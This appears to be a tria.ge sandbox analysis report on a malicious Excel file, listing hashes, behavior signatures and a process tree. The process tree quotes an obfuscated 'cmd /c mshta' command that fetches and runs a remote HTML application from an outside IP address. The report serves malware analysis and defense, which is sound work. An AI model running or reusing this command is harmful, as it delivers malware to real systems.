Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
121s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
20/11/2024, 23:11
Behavioral task
behavioral1
Sample
4a11fc3171835a6afc00ef51c5bc3014ee77688c3aa9f94228cd0c0c300bb023.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
4a11fc3171835a6afc00ef51c5bc3014ee77688c3aa9f94228cd0c0c300bb023.xls
Resource
win10v2004-20241007-en
General
-
Target
4a11fc3171835a6afc00ef51c5bc3014ee77688c3aa9f94228cd0c0c300bb023.xls
-
Size
64KB
-
MD5
3c0713729a618813a180b8f38e669d30
-
SHA1
04cc90dfa13f79366e6ff15067a211fc02bba995
-
SHA256
4a11fc3171835a6afc00ef51c5bc3014ee77688c3aa9f94228cd0c0c300bb023
-
SHA512
8c3881d47e1a1a00df7181f44c86b9595c986f5a99f98e81b82ca8c41030d00648158b6b7c629b33f94a3feccb767c39a6f2ec402969af2ec4c894f42acee315
-
SSDEEP
1536:d0Nk3hbdlylKsgqopeJBWhZFGkE+cL2NdAKzMk9B+ooszMk9A+oos:dak3hbdlylKsgqopeJBWhZFGkE+cL2NP
Malware Config
Extracted
http://87.251.86.178/pp/oo.html
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2076 2236 cmd.exe 30 -
Blocklisted process makes network request 2 IoCs
flow pid Process 4 2420 mshta.exe 5 2420 mshta.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2236 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2236 EXCEL.EXE 2236 EXCEL.EXE 2236 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2236 wrote to memory of 2076 2236 EXCEL.EXE 31 PID 2236 wrote to memory of 2076 2236 EXCEL.EXE 31 PID 2236 wrote to memory of 2076 2236 EXCEL.EXE 31 PID 2236 wrote to memory of 2076 2236 EXCEL.EXE 31 PID 2076 wrote to memory of 2420 2076 cmd.exe 33 PID 2076 wrote to memory of 2420 2076 cmd.exe 33 PID 2076 wrote to memory of 2420 2076 cmd.exe 33 PID 2076 wrote to memory of 2420 2076 cmd.exe 33
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\4a11fc3171835a6afc00ef51c5bc3014ee77688c3aa9f94228cd0c0c300bb023.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2236 -
C:\Windows\SysWOW64\cmd.execmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2076 -
C:\Windows\SysWOW64\mshta.exemshta http://87.251.86.178/pp/oo.html3⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
PID:2420
-
-